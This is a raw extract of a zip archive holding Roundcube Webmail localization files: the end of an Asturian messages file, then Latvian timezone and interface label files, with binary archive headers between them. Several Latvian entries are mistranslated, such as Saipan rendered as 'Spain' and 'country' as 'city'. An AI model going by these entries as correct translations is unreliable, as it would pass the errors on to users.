$messages['forbiddencharacter'] = 'El nome de la bandexa tien un caráuter non validu.';
$messages['selectimportfile'] = 'Por favor escueyi\'l ficheru que quies xubir';
$messages['addresswriterror'] = 'Nun pue escribise na llibreta de direiciones seleicionada.';
$messages['contactaddedtogroup'] = 'Amestáronse correutamente los contautos a esti grupu.';
$messages['contactremovedfromgroup'] = 'Desaniciáronse correutamente los contautos a esti grupu.';
$messages['nogroupassignmentschanged'] = 'Nun hai cambeos n\'asignación de grupos.';
$messages['importwait'] = 'Importando, dame un minutín...';
$messages['importformaterror'] = '¡La importación falló! El ficheru unviáu nun ye un ficheru válidu d\'importación.';
$messages['importconfirm'] = '<b>Importáronse correchamente $inserted contautos</b>';
$messages['importconfirmskipped'] = '<b>Inoraes $skipped entraes esistentes</b>';
$messages['importmessagesuccess'] = '$nr mensaxes importaos con éxitu';
$messages['importmessageerror'] = '¡Falló la importación! El ficheru xubíu nun ye un ficheru válidu de mensaxe o buzón de corréu';
$messages['opnotpermitted'] = '¡Nun tienes permisu pa facelo!';
$messages['editorwarning'] = 'Cambear la triba d\'editor pue causar perda del formatu del testu. ¿Deseyes continuar?';
$messages['httpreceivedencrypterror'] = 'Hai un fallu grave de configuración. Contauta col alministrador de secute. <b>Nun pue unviase\'l mensaxe</b>';
$messages['smtpconnerror'] = 'Fallu SMTP ($code): Fallu de conexón col sirvidor';
$messages['smtpautherror'] = 'Fallu SMTP ($code): Fallu d\'autorización';
$messages['smtpfromerror'] = 'Fallu SMTP ($code): Fallu al afitar l\'emisor "$from" ($msg)';
$messages['smtptoerror'] = 'Fallu SMTP ($code): Fallu al amestar el destinatariu "$to" ($msg)';
$messages['smtprecipientserror'] = 'Fallu SMTP: Nun pue amosase la llista de destinatarios.';
$messages['smtperror'] = 'Fallu SMTP: $msg';
$messages['toomanyrecipients'] = 'Hai munchos destinatarios. Amenorga\'l númberu de destinatarios a $max.';
$messages['maxgroupmembersreached'] = 'El númberu de miembros del grupu perpasa\'l máximu de $max.';
$messages['internalerror'] = 'Hebo un fallu internu. Por favor, vuelvi intentalo.';
$messages['contactdelerror'] = 'Nun pudo desaniciase el/los contautu(os).';
$messages['contactdeleted'] = 'Contautu(os) desaniciáu(os) correchamente.';
$messages['contactrestoreerror'] = 'Nun pudieron restaurase los contautos desaniciaos.';
$messages['contactrestored'] = 'Los contautos restauráronse con éxitu.';
$messages['groupdeleted'] = 'Grupu desaniciáu correchamente.';
$messages['grouprenamed'] = 'Grupu renomáu correchamente.';
$messages['groupcreated'] = 'Grupu creáu correchamente.';
$messages['savedsearchdeleted'] = 'La busca guardada, desanicióse con éxitu.';
$messages['savedsearchdeleteerror'] = 'Nun pudo desaniciase la busca guardada.';
$messages['savedsearchcreated'] = 'Guardóse correchamente la busca.';
$messages['savedsearchcreateerror'] = 'Nun pudo guardase la busca.';
$messages['messagedeleted'] = 'Mensaxe(s) desaniciaos correchamente.';
$messages['messagemoved'] = 'Mensaxe(s) movíos correchamente.';
$messages['messagecopied'] = 'Mensaxe(s) copiaos correchamente.';
$messages['messagemarked'] = 'Mensaxe(s) marcaos correchamente.';
$messages['autocompletechars'] = 'Introduz a lo menso $min caráuteres p\'autocompletar.';
$messages['autocompletemore'] = 'Atopáronse más coincidencies. Por favor, escribi más caráuteres.';
$messages['namecannotbeempty'] = 'Hai que poner el nome.';
$messages['nametoolong'] = 'El nome ye abondo llargu.';
$messages['folderupdated'] = 'Bandexa anovada correchamente.';
$messages['foldercreated'] = 'Bandexa creada correchamente.';
$messages['invalidimageformat'] = 'Nun ye un formatu d\'imaxe válidu.';
$messages['mispellingsfound'] = 'Deteutáronse fallos ortográficos nel mensaxe.';
$messages['parentnotwritable'] = 'Nun puede crease/movese la carpeta a la carpeta superior elexida. Nun tienes permisos d\'accesu.';
$messages['messagetoobig'] = 'Esta parte del mensaxe ye enforma grande pa procesala';
$messages['noscriptwarning'] = 'Avisu: ¡esti serviciu de webmail necesita Javascript! Pa poder usalu, habilita\'l soporte de Javascript nel to navegador, por favor.';
PK
h�\	B|s(program/localization/lv_LV/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Āfrika';
$labels['tz:africa:abidjan'] = 'Abidžana';
$labels['tz:africa:accra'] = 'Akra';
$labels['tz:africa:addis_ababa'] = 'Adisabeba';
$labels['tz:africa:algiers'] = 'Alžīra';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangi';
$labels['tz:africa:banjul'] = 'Bandžula';
$labels['tz:africa:bissau'] = 'Bisava';
$labels['tz:africa:cairo'] = 'Kaira';
$labels['tz:africa:casablanca'] = 'Kasablanka';
$labels['tz:africa:dakar'] = 'Dakāra';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:lagos'] = 'Lagosa';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:maputo'] = 'Maputu';
$labels['tz:africa:tripoli'] = 'Tripole';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:argentina'] = 'Argentīna';
$labels['tz:america:barbados'] = 'Barbadosa';
$labels['tz:america:chicago'] = 'Čikāga';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:mexico_city'] = 'Mehiko';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'Ņujorka';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:phoenix'] = 'Fēniksa';
$labels['tz:america:santiago'] = 'Santjago';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:vancouver'] = 'Vankūvera';
$labels['tz:antarctica'] = 'Antarktika';
$labels['tz:arctic'] = 'Arktika';
$labels['tz:asia'] = 'Āzija';
$labels['tz:asia:baghdad'] = 'Bagdāde';
$labels['tz:asia:bahrain'] = 'Bahreina';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bankoka';
$labels['tz:asia:beirut'] = 'Beiruta';
$labels['tz:asia:brunei'] = 'Bruneja';
$labels['tz:asia:chita'] = 'Čita';
$labels['tz:asia:colombo'] = 'Kolombo';
$labels['tz:asia:dubai'] = 'Dubaja';
$labels['tz:asia:dushanbe'] = 'Dušanbe';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hong_kong'] = 'Honkonga';
$labels['tz:asia:irkutsk'] = 'Irkutska';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jerusalem'] = 'Jeruzaleme';
$labels['tz:asia:kabul'] = 'Kabula';
$labels['tz:asia:kamchatka'] = 'Kamčatka';
$labels['tz:asia:karachi'] = 'Karāči';
$labels['tz:asia:kuwait'] = 'Kuveita';
$labels['tz:asia:macau'] = 'Makau';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muskata';
$labels['tz:asia:nicosia'] = 'Nikosija';
$labels['tz:asia:novosibirsk'] = 'Novosibirska';
$labels['tz:asia:omsk'] = 'Omska';
$labels['tz:asia:qatar'] = 'Kvatara';
$labels['tz:asia:seoul'] = 'Seula';
$labels['tz:asia:shanghai'] = 'Šanhaja';
$labels['tz:asia:singapore'] = 'Singapūra';
$labels['tz:asia:taipei'] = 'Taipeja';
$labels['tz:asia:tashkent'] = 'Taškenta';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teherāna';
$labels['tz:asia:tokyo'] = 'Tokija';
$labels['tz:asia:tomsk'] = 'Tomska';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Kanārijas';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reikjavika';
$labels['tz:atlantic:south_georgia'] = 'Dienviddžordžija';
$labels['tz:australia'] = 'Austrālija';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:melbourne'] = 'Melburna';
$labels['tz:australia:sydney'] = 'Sidneja';
$labels['tz:europe'] = 'Eiropa';
$labels['tz:europe:amsterdam'] = 'Amsterdama';
$labels['tz:europe:andorra'] = 'Andora';
$labels['tz:europe:athens'] = 'Atēnas';
$labels['tz:europe:belgrade'] = 'Belgrada';
$labels['tz:europe:berlin'] = 'Berlīne';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brisele';
$labels['tz:europe:bucharest'] = 'Buhareste';
$labels['tz:europe:budapest'] = 'Budapešta';
$labels['tz:europe:copenhagen'] = 'Kopenhāgena';
$labels['tz:europe:dublin'] = 'Dublina';
$labels['tz:europe:gibraltar'] = 'Gibraltārs';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Mana sala';
$labels['tz:europe:istanbul'] = 'Stambula';
$labels['tz:europe:jersey'] = 'Džersija';
$labels['tz:europe:kaliningrad'] = 'Kaļiņingrada';
$labels['tz:europe:kiev'] = 'Kijeva';
$labels['tz:europe:kirov'] = 'Kirova';
$labels['tz:europe:lisbon'] = 'Lisabona';
$labels['tz:europe:ljubljana'] = 'Lubļana';
$labels['tz:europe:london'] = 'Londona';
$labels['tz:europe:luxembourg'] = 'Luksemburga';
$labels['tz:europe:madrid'] = 'Madride';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:minsk'] = 'Minska';
$labels['tz:europe:monaco'] = 'Monako';
$labels['tz:europe:moscow'] = 'Maskava';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Parīze';
$labels['tz:europe:prague'] = 'Prāga';
$labels['tz:europe:riga'] = 'Rīga';
$labels['tz:europe:rome'] = 'Roma';
$labels['tz:europe:samara'] = 'Samāra';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajeva';
$labels['tz:europe:saratov'] = 'Saratova';
$labels['tz:europe:simferopol'] = 'Simferopole';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofija';
$labels['tz:europe:stockholm'] = 'Stokholma';
$labels['tz:europe:tallinn'] = 'Tallina';
$labels['tz:europe:vatican'] = 'Vatikāns';
$labels['tz:europe:vienna'] = 'Vīne';
$labels['tz:europe:vilnius'] = 'Viļņa';
$labels['tz:europe:volgograd'] = 'Volgograda';
$labels['tz:europe:warsaw'] = 'Varšava';
$labels['tz:europe:zagreb'] = 'Zagreba';
$labels['tz:europe:zurich'] = 'Cīrihe';
$labels['tz:indian'] = 'Indiana';
$labels['tz:indian:comoro'] = 'Komoro';
$labels['tz:indian:maldives'] = 'Maldivas';
$labels['tz:indian:mauritius'] = 'Maurīcija';
$labels['tz:pacific'] = 'Klusā okeāna valstis';
$labels['tz:pacific:fiji'] = 'Fidži';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:port_moresby'] = 'Portmorsbija';
$labels['tz:pacific:saipan'] = 'Spānija';
$labels['tz:pacific:tahiti'] = 'taiti';
PK
h�\�a����%program/localization/lv_LV/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Esiet laipni lūgti $product';
$labels['username'] = 'Lietotājvārds';
$labels['password'] = 'Parole';
$labels['server'] = 'Serveris';
$labels['login'] = 'Autorizēties';
$labels['oauthlogin'] = 'Autorizēties ar $provider';
$labels['menu'] = 'Izvēlne';
$labels['logout'] = 'Iziet';
$labels['mail'] = 'E-pasts';
$labels['settings'] = 'Iestatījumi';
$labels['addressbook'] = 'Adrešu grāmata';
$labels['darkmode'] = 'Tumšais režīms';
$labels['lightmode'] = 'Gaišais režīms';
$labels['inbox'] = 'Ienākošās';
$labels['drafts'] = 'Uzmetumi';
$labels['sent'] = 'Nosūtītās';
$labels['trash'] = 'Papīrgrozs';
$labels['junk'] = 'Mēstules';
$labels['show_real_foldernames'] = 'Sistēmas mapēm rādīt īstos nosaukumus';
$labels['subject'] = 'Temats';
$labels['from'] = 'No';
$labels['sender'] = 'Sūtītājs';
$labels['to'] = 'Kam';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Atbildēt-Uz';
$labels['followupto'] = 'Sekot-Uz';
$labels['date'] = 'Datums';
$labels['size'] = 'Izmērs';
$labels['priority'] = 'Prioritāte';
$labels['organization'] = 'Uzņēmums';
$labels['readstatus'] = 'Izlasīšanas statuss';
$labels['listoptions'] = 'Vēstuļu saraksta attēlošanas iestatījumi...';
$labels['listoptionstitle'] = 'Saraksta parametri';
$labels['mailboxlist'] = 'Mapes';
$labels['messagesfromto'] = 'Vēstules $from līdz $to no $count';
$labels['threadsfromto'] = 'Vijumi $from līdz $to no $count';
$labels['messagenrof'] = '$nr. vēstule no $count';
$labels['fromtoshort'] = '$from – $to no $count';
$labels['copy'] = 'Kopēt';
$labels['move'] = 'Pārvietot';
$labels['moveto'] = 'Pārvietot uz...';
$labels['copyto'] = 'Kopēt uz ...';
$labels['download'] = 'lejupielādēt';
$labels['open'] = 'Atvērt';
$labels['showattachment'] = 'Rādīt';
$labels['showanyway'] = 'Vienalga rādīt';
$labels['filename'] = 'Faila nosaukums';
$labels['filesize'] = 'Faila izmērs';
$labels['addtoaddressbook'] = 'Pievienot adrešu grāmatai';
$labels['sun'] = 'Sv';
$labels['mon'] = 'P';
$labels['tue'] = 'O';
$labels['wed'] = 'T';
$labels['thu'] = 'C';
$labels['fri'] = 'P';
$labels['sat'] = 'Se';
$labels['sunday'] = 'Svētdiena';
$labels['monday'] = 'Pirmdiena';
$labels['tuesday'] = 'Otrdiena';
$labels['wednesday'] = 'Trešdiena';
$labels['thursday'] = 'Ceturtdiena';
$labels['friday'] = 'Piektdiena';
$labels['saturday'] = 'Sestdiena';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Maijs';
$labels['jun'] = 'Jūn';
$labels['jul'] = 'Jūl';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'Janvāris';
$labels['longfeb'] = 'Februāris';
$labels['longmar'] = 'Marts';
$labels['longapr'] = 'Aprīlis';
$labels['longmay'] = 'Maijs';
$labels['longjun'] = 'Jūnijs';
$labels['longjul'] = 'Jūlijs';
$labels['longaug'] = 'Augusts';
$labels['longsep'] = 'Septembris';
$labels['longoct'] = 'Oktobris';
$labels['longnov'] = 'Novembris';
$labels['longdec'] = 'Decembris';
$labels['today'] = 'Šodien';
$labels['refresh'] = 'Atjaunot';
$labels['checkmail'] = 'Pārbaudīt e-pastu';
$labels['compose'] = 'Rakstīt vēstuli';
$labels['writenewmessage'] = 'Rakstīt jaunu vēstuli';
$labels['reply'] = 'Atbildēt';
$labels['replytomessage'] = 'Atbildēt sūtītājam';
$labels['replytoallmessage'] = 'Atbildēt sūtītājam vai listei un visiem adresātiem';
$labels['replyall'] = 'Atbildēt visiem';
$labels['replylist'] = 'Atbildēt listei';
$labels['forward'] = 'Pārsūtīt';
$labels['forwardinline'] = 'Pārsūtīt iekļaujot vēstulē';
$labels['forwardattachment'] = 'Pārsūtīt kā pielikumu';
$labels['forwardmessage'] = 'Pārsūtīt vēstuli';
$labels['bouncemsg'] = 'Sūtīt atkārtoti (bounce)';
$labels['bounce'] = 'Sūtīt atkārtoti';
$labels['deletemessage'] = 'Dzēst vēstuli';
$labels['movemessagetotrash'] = 'Pārvietot vēstuli uz papīrgrozu';
$labels['printmessage'] = 'Izdrukāt šo vēstuli';
$labels['previousmessage'] = 'Parādīt iepriekšējo vēstuli';
$labels['firstmessage'] = 'Parādīt pirmo vēstuli';
$labels['nextmessage'] = 'Parādīt nākamo vēstuli';
$labels['lastmessage'] = 'Parādīt pēdējo vēstuli';
$labels['backtolist'] = 'Atpakaļ uz vēstuļu sarakstu';
$labels['viewsource'] = 'Parādīt pirmtekstu';
$labels['mark'] = 'Atzīmēt';
$labels['markmessages'] = 'Atzīmēt vēstules:';
$labels['markread'] = 'kā lasītas';
$labels['markunread'] = 'kā nelasītas';
$labels['markflagged'] = 'kā atīmētas';
$labels['markunflagged'] = 'kā neatzīmētas';
$labels['moreactions'] = 'Papildus darbības...';
$labels['markallread'] = 'Atzīmēt visus kā izlasītus';
$labels['folders-cur'] = 'Tikai atzīmēto mapi';
$labels['folders-sub'] = 'Atzīmēt mapi un tās apakšmapes';
$labels['folders-all'] = 'Visas mapes';
$labels['more'] = 'Vairāk';
$labels['back'] = 'Atpakaļ';
$labels['options'] = 'Opcijas';
$labels['composeoptions'] = 'Rakstīšanas iestatījumi';
$labels['optionsandattachments'] = 'Opcijas un pielikumi';
$labels['actions'] = 'Darbību saraksts';
$labels['first'] = 'Pirmā';
$labels['last'] = 'Pēdējā';
$labels['previous'] = 'Iepriekšējā';
$labels['next'] = 'Nākošā';
$labels['select'] = 'Atzīmēt';
$labels['selection'] = 'Atlase';
$labels['all'] = 'Visas';
$labels['none'] = 'Nevienu';
$labels['currpage'] = 'Pašreizējā lapa';
$labels['isread'] = 'Lasīt';
$labels['unread'] = 'Nelasītās';
$labels['flagged'] = 'Atzīmētās';
$labels['unflagged'] = 'Nav atzīmēta';
$labels['unanswered'] = 'Neatbildētās';
$labels['withattachment'] = 'Ar pielikumu';
$labels['deleted'] = 'Dzēstās';
$labels['undeleted'] = 'Nav izdzēstas';
$labels['replied'] = 'Atbildēta';
$labels['forwarded'] = 'Pārsūtīta';
$labels['invert'] = 'Pretēji';
$labels['filter'] = 'Filtrēt';
$labels['list'] = 'Rādīt kā sarakstu';
$labels['threads'] = 'Rādīt kā vijumus';
$labels['expand-all'] = 'Izvērst visus';
$labels['expand-unread'] = 'Izvērst neizlasītās';
$labels['collapse-all'] = 'Sakļaut visas';
$labels['threaded'] = 'Rādīt vijumus';
$labels['showunread'] = 'Parādīt neizlasītās vēstules';
$labels['autoexpand_threads'] = 'Izvērst vēstuļu vijumus';
$labels['do_expand'] = 'visus vijumus';
$labels['expand_only_unread'] = 'tikai ar neizlasītām vēstulēm';
$labels['fromto'] = 'No/Kam';
$labels['flag'] = 'Atzīmēt';
$labels['attachment'] = 'Pielikums';
$labels['nonesort'] = 'Neviena';
$labels['sentdate'] = 'Nosūtīšanas datums';
$labels['arrival'] = 'Pienākšanas datums';
$labels['asc'] = 'augoša';
$labels['desc'] = 'dilstoša';
$labels['listcolumns'] = 'Saraksta kolonnas';
$labels['listsorting'] = 'Kārtošanas kolonnas';
$labels['listorder'] = 'Kārtošanas secība';
$labels['listmode'] = 'Attēlošanas veids';
$labels['lmode'] = 'Attēlošanas veids';
$labels['layout'] = 'Izklājums';
$labels['layoutwidescreen'] = 'Platekrāns';
$labels['layoutdesktop'] = 'Darba virsma';
$labels['layoutlist'] = 'Saraksts';
$labels['layoutwidescreendesc'] = 'Platekrāna (3 kolonnu skats)';
$labels['layoutdesktopdesc'] = 'Datorskats (plats skats ar e-pasta priekšskatījumu apakšā)';
$labels['layoutlistdesc'] = 'Saraksts (bez e-pasta prieksškatīšanas)';
$labels['folderactions'] = 'Darbības ar mapēm...';
$labels['compact'] = 'Saspiest';
$labels['empty'] = 'Iztukšot';
$labels['importmessages'] = 'Importēt vēstules';
$labels['mailimportdesc'] = 'Jūs varat augšupielādēt e-pastu izmantojot <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> vai <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> formāta failus.';
$labels['mailimportzip'] = 'Vairāki faili var tikt sakompresēti zip arhīvos.';
$labels['quota'] = 'Kvota';
$labels['unknown'] = 'nezināms';
$labels['unlimited'] = 'neierobežots';
$labels['quotatype'] = 'Kvotas tips';
$labels['quotatotal'] = 'Limits';
$labels['quotaused'] = 'Izlietots';
$labels['quotastorage'] = 'Kvota';
$labels['quotamessage'] = 'Vēstuļu skaits';
$labels['shortheaderdate'] = 'Datums $date';
$labels['shortheaderto'] = 'Adresāts $to datumā $date';
$labels['shortheaderfrom'] = 'No $from datumā $date';
$labels['quicksearch'] = 'Ārtā meklēšana';
$labels['searchplaceholder'] = 'Meklēt...';
$labels['resetsearch'] = 'Atstatīt meklēšanu';
$labels['searchmod'] = 'Meklēšanas modifikatori:';
$labels['msgtext'] = 'Visā vēstulē';
$labels['body'] = 'Pamatteksts';
$labels['type'] = 'Tips';
$labels['namex'] = 'Vārds';
$labels['searchscope'] = 'Kur meklēt';
$labels['currentfolder'] = 'Pašreizējā mape';
$labels['subfolders'] = 'Šī un apakšmapes';
$labels['allfolders'] = 'Visas mapes';
$labels['searchinterval-1W'] = 'vecākas par nedēļu';
$labels['searchinterval-1M'] = 'vecākas par mēnesi';
$labels['searchinterval-1Y'] = 'vecākas par gadu';
$labels['searchinterval1W'] = 'nedēļu vecas';
$labels['searchinterval1M'] = 'mēnesi vecas';
$labels['searchinterval1Y'] = 'gadu vecas';
$labels['openinextwin'] = 'Atvērt jaunā logā';
$labels['emlsave'] = 'lejupielādēt (.eml)';
$labels['changeformattext'] = 'Rādīt kā neformatētu tekstu';
$labels['changeformathtml'] = 'Rādīt kā HTML formatētu';
$labels['editasnew'] = 'Rediģēt kā jaunu';
$labels['send'] = 'Sūtīt';
$labels['sendmessage'] = 'Sūtīt vēstuli';
$labels['savemessage'] = 'Saglabāt kā uzmetumu';
$labels['addattachment'] = 'Pievienot failu';
$labels['charset'] = 'Rakstzīmju kopa';
$labels['editortype'] = 'Redaktora tips';
$labels['returnreceipt'] = 'Saņemšanas apstiprinājums';
$labels['dsn'] = 'Piegādes atskaite';
$labels['mailreplyintro'] = '$sender @ $date rakstīja:';
$labels['originalmessage'] = 'Sākotnējā vēstule';
$labels['selectimage'] = 'Atzīmēt attēlu';
$labels['addimage'] = 'Pievienot attēlu';
$labels['selectmedia'] = 'Atzīmēt video';
$labels['addmedia'] = 'Pievienot video';
$labels['encrypt'] = 'Šifrēt';
$labels['encryptmessage'] = 'Šifrēt vēstuli';
$labels['encryptmessagemailvelope'] = 'Šifrēt vēstuli ar "Mailenvelope"';
$labels['importpubkeys'] = 'Importēt publiskās atslēgas';
$labels['encryptedsendialog'] = 'Sūta šifrēto vēstuli';
$labels['encryptandsign'] = 'Šifrēt un parakstīt';
$labels['keyid'] = 'Atslēgas ID';
$labels['keylength'] = 'Biti';
$labels['keyexpired'] = 'Beidzies termiņš';
$labels['keyrevoked'] = 'Atsaukta';
$labels['bccinstead'] = 'Lietot Bcc';
$labels['addheader'] = 'Pievienot adresātu (galvenē)';
$labels['insert'] = 'Ievietot';
$labels['insertcontact'] = 'Pievienot kontaktu(s)';
$labels['recipient'] = 'Saņēmējs';
$labels['recipientedit'] = 'Rediģēt saņēmēju';
$labels['editidents'] = 'Rediģēt identitātes';
$labels['spellcheck'] = 'Izrunāt';
$labels['checkspelling'] = 'Pārbaudīt pareizrakstību';
$labels['resumeediting'] = 'Turpināt rediģēšanu';
$labels['revertto'] = 'Atgriezt uz';
$labels['restore'] = 'Atjaunot';
$labels['restoremessage'] = 'Atjaunot vēstuli?';
$labels['ignore'] = 'Ignorēt';
$labels['responses'] = 'Atbildes';
$labels['insertresponse'] = 'Ievietot atbildi';
$labels['manageresponses'] = 'Pārvaldīt atbildes';
$labels['newresponse'] = 'Izveidot jaunu atbildi';
$labels['addresponse'] = 'Pievienot atbildi';
$labels['editresponse'] = 'Rediģēt atbildi';
$labels['editresponses'] = 'Rediģēt atbildes';
$labels['responsename'] = 'Vārds';
$labels['responsetext'] = 'Atbildes teksts';
$labels['attach'] = 'Pievienot';
$labels['attachments'] = 'Pielikumi';
$labels['upload'] = 'Augšupielādēt';
$labels['uploadprogress'] = '$percent ($current no $total)';
$labels['close'] = 'Aizvērt';
$labels['messageoptions'] = 'Vēstuļu iestatījumi...';
$labels['togglecomposeoptions'] = 'Parādīt rakstīšanas iestatījumus';
$labels['attachmentrename'] = 'Pārsaukt pielikumu';
$labels['low'] = 'Zema';
$labels['lowest'] = 'Zemākā';
$labels['normal'] = 'Normāla';
$labels['high'] = 'Augsta';
$labels['highest'] = 'Augstākā';
$labels['nosubject'] = '(bez tēmas)';
$labels['showimages'] = 'Rādīt attēlus';
$labels['allow'] = 'Atļaut';
$labels['alwaysshow'] = 'Vienmēr rādīt attēlus vēstulēs, kuras sūtījis $sender';
$labels['alwaysallow'] = 'Vienmēr atļaut no sūtītāja $sender';
$labels['isdraft'] = 'Šis ir melnraksts.';
$labels['andnmore'] = '$nr vairāk...';
$labels['details'] = 'Detaļas';
$labels['summary'] = 'Kopsavilkums';
$labels['headers'] = 'Galvene';
$labels['allheaders'] = 'Visas galvenes';
$labels['togglemoreheaders'] = 'Rādīt galvenes papildus informāciju';
$labels['togglefullheaders'] = 'Slēpt galvenes papildus informāciju';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Vienkāršs teksts';
$labels['savesentmessagein'] = 'Saglabāt nosūtīto vēstuli mapē';
$labels['dontsave'] = 'nesaglabāt';
$labels['maxuploadsize'] = 'Maksimālais atļautais faila izmērs ir $size';
$labels['addcc'] = 'Pievienot Cc';
$labels['addbcc'] = 'Pievienot Bcc';
$labels['addreplyto'] = 'Pievienot Atbildēt-Uz';
$labels['addfollowupto'] = 'Pievienot Followup-To';
$labels['sendreceipt'] = 'Vai nosūtīt izlasīšanas paziņojumu?';
$labels['mdnrequest'] = 'Šīs vēstules sūtītājs vēlas redzēt vēstules saņemšanas apstiprinājumu. Vai Jūs vēlaties nosūtīt šo apstiprinājumu?';
$labels['receiptread'] = 'Saņemšanas apstiprinājums';
$labels['yourmessage'] = 'Šis ir Jūsu nosūtītās vēstules saņemšanas apstiprinājums';
$labels['receiptnote'] = 'Piezīme: Šis apsiprinājums nozīmē tikai to, ka vēstule tika parādīta uz saņēmāja datora. Tas nenozīmē, ka saņēmējs ir izlasījis vai sapratis vēstules saturu.';
$labels['sendalwaysto'] = 'Vienmēr sūtīt uz $email';
$labels['zoomin'] = 'Pietuvināt';
$labels['zoomout'] = 'Attālināt';
$labels['rotate'] = 'Pagriezt';
$labels['increaseimage'] = 'Palielināt attēla izmēru';
$labels['decreaseimage'] = 'Samazināt attēla izmēru';
$labels['rotateimage'] = 'Pagriezt attēlu';
$labels['showtools'] = 'Rādīt attēla rīkus';
$labels['hidetools'] = 'Paslēpt attēla rīkus';
$labels['name'] = 'Uzrādītais vārds';
$labels['firstname'] = 'Vārds';
$labels['surname'] = 'Uzvārds';
$labels['middlename'] = 'Otrais vārds';
$labels['nameprefix'] = 'Prefikss';
$labels['namesuffix'] = 'Sufikss';
$labels['nickname'] = 'Segvārds';
$labels['jobtitle'] = 'Amats';
$labels['department'] = 'Nodaļa';
$labels['gender'] = 'Dzimums';
$labels['maidenname'] = 'Pirmslaulības uzvārds';
$labels['email'] = 'E-pasts';
$labels['phone'] = 'Tālrunis';
$labels['address'] = 'Adrese';
$labels['street'] = 'Iela';
$labels['locality'] = 'Pilsēta';
$labels['zipcode'] = 'Pasta indekss';
$labels['region'] = 'Novads';
$labels['country'] = 'Pilsēta';
$labels['birthday'] = 'Dzimšanas diena';
$labels['anniversary'] = 'Gadadiena';
$labels['website'] = 'Mājaslapa';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Piezīmes';
$labels['male'] = 'vīrietis';
$labels['female'] = 'sieviete';
$labels['manager'] = 'Menedžeris';
$labels['assistant'] = 'Asistents';
$labels['spouse'] = 'Laulātais';
$labels['allfields'] = 'Visi lauki';
$labels['search'] = 'Meklēt';
$labels['searchresult'] = 'Meklēšanas rezultāts';
$labels['advsearch'] = 'Paplašinātā meklēšana';
$labels['advanced'] = 'Paplašinātie iestatījumi';
$labels['other'] = 'Cits';
$labels['printcontact'] = 'Drukāt kontaktu';
$labels['qrcode'] = 'QR kods';
$labels['typehome'] = 'Mājas';
$labels['typework'] = 'Darbs';
$labels['typeother'] = 'Cits';
$labels['typemobile'] = 'Mobilais tālrunis';
$labels['typemain'] = 'Galvenais';
$labels['typehomefax'] = 'Fakss mājās';
$labels['typeworkfax'] = 'Fakss darbā';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Peidžeris';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asistents';
$labels['typehomepage'] = 'Mājaslapa';
$labels['typeblog'] = 'Blogs';
$labels['typeprofile'] = 'Profils';
$labels['addfield'] = 'Pievienot lauku...';
$labels['addcontact'] = 'Pievienot kontaktu';
$labels['editcontact'] = 'Rediģēt kontaktu';
$labels['contacts'] = 'Kontakti';
$labels['contactproperties'] = 'Kontakta īpašības';
$labels['contactnameandorg'] = 'Vārds un organizācija';
$labels['personalinfo'] = 'Personīgā informācija';
$labels['personal'] = 'Personīgās';
$labels['contactphoto'] = 'Kontakta attēls';
$labels['edit'] = 'Rediģēt';
$labels['cancel'] = 'Atcelt';
$labels['save'] = 'Saglabāt';
